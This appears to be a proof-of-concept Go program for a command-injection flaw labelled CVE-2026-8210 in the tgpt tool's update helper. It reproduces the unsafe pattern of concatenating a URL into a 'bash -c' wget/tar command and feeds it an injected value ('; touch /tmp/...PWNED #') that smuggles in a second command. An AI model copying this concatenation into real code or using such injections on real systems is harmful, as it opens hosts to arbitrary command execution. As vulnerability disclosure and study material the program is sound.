CVE-2026-8210 tgpt命令注入漏洞

package main import ( "fmt" "os/exec" ) // Simulation of the vulnerable helper.Update function in helper.go func vulnerableUpdateLogic(updateURL string) { // Vulnerability: Direct string concatenation into a shell command // In the real vulnerability, the input 'updateURL' is not sanitized. // An attacker can inject commands using shell metacharacters like ';' or '`'. command := "wget -O /tmp/tgpt_update " + updateURL + " && tar -xzf /tmp/tgpt_update" // Executing the command cmd := exec.Command("bash", "-c", command) output, err := cmd.CombinedOutput() if err != nil { fmt.Println("Error:", err) } else { fmt.Println("Update Output:", string(output)) } } func main() { // Normal usage scenario // vulnerableUpdateLogic("https://github.com/aandrew-me/tgpt/releases/download/v2.11.1/tgpt-linux-amd64.tar.gz") // Exploit scenario: Injecting a malicious command // Payload: ; touch /tmp/CVE-2026-8210_PWNED # // This creates a file to prove command execution, ignoring the rest of the original command. fmt.Println("[+] Attempting to exploit CVE-2026-8210...") maliciousInput := "https://example.com/fake.tar.gz; touch /tmp/CVE-2026-8210_PWNED #" vulnerableUpdateLogic(maliciousInput) fmt.Println("[+] Check /tmp/ for the PWNED file.") }